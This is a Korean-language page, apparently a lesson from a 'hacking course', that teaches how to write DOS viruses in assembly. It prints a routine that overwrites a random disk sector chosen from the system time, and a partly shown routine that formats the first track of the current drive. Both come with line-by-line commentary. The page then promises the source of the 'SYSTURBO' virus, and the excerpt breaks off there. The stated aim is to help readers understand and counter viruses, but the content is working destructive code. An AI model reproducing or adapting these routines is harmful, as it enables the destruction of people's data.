|
5:
6: start: mov ah,2ch ; 현재 시간 구하기
7: int 21h
8:
9: mov ds,cx ; 전송 버퍼의 세그먼트
10:
11: mov ax,dx ; 디스크의 랜덤 섹터 구하기
12: xor dx,dx
13: mov dx,720
14: div bx
15:
16: mov al,19h ; 현재 사용중인 드라이브 알아내기
17: int 21h
18:
19: xor bx,bx ; 전송할 버퍼의 오프셋
20: mov cx,1 ; 기록할 섹터수
21: int 26h ; 디스크 쓰기
22:
23: int 20h ; 프로그램 종료
24:
25: code ends
26: end start
< 설명 > 이 프로그램은 시스템으로부터 시간을 읽어서 그 값을 이용하여 섹터를 파괴한다. 6~7 행에서 현재 시간을 구하고, 9~14행에서는 구한 시간을가지고 랜덤 섹터를 구한다. 21행에서…(생략)
A. 시스터보 바이러스
|
; 트랙 번호
19: mov cl,1 ; 섹터 번호
20: mov dh,0 ; 헤드 번호
21: int 13h
22:
23: int 20h
24:
25: marker db 0 ; 트랙 번호
26: db 0 ; 헤드 번호
27: db 1 ; 섹터 번호
28: db 2 ; 섹터당 바이트(512)
29:
30: code ends
31: end start
< 설명 > 바이러스가 수행할 수 있는 작업 중에 가장 치명적이고 심각함 문제가 되는 것이 디스크를 포멧시키는 것이다. 위 프로그램을 보면 알수 있듯이 디스크를 포멧하는 것은 아주 간단하고 쉽다. 7~8 행에서 현재 사용중인 드라이브를 알아내고, 트랙,섹터,헤더에 값을 주어 디스크의 첫 트랙을 포멧시도록 되어 있다.
< 결과 > 이 프로그램이 실행되고나면 현재 사용중인 드라이브의 디스크를 파괴시킨다.
(3) 어셈블리 바이러스 실제 구현
실제로 어셈블리로 제작된 바이러스의 소스를 공개하겠다.어셈블리로 제작된 바이러스의 구조와 원리등을 파악하여 대처하기 바란다.
A. 시스터보 바이러스
이 바이러스는 예전에 하이텔 OSC동호회에 올려졌던 SYSTURBO 바이러스의 정식 버젼(?)이다.
고정적인 코드는 다른 풀그림에서도 사용되는 mov ax,cs/mov ds,ax, 이런 코드이기에
인 쇄
바로가기
해킹강좌3회cimous.hwp
[Size :
89 Kbyte
]
장바구니
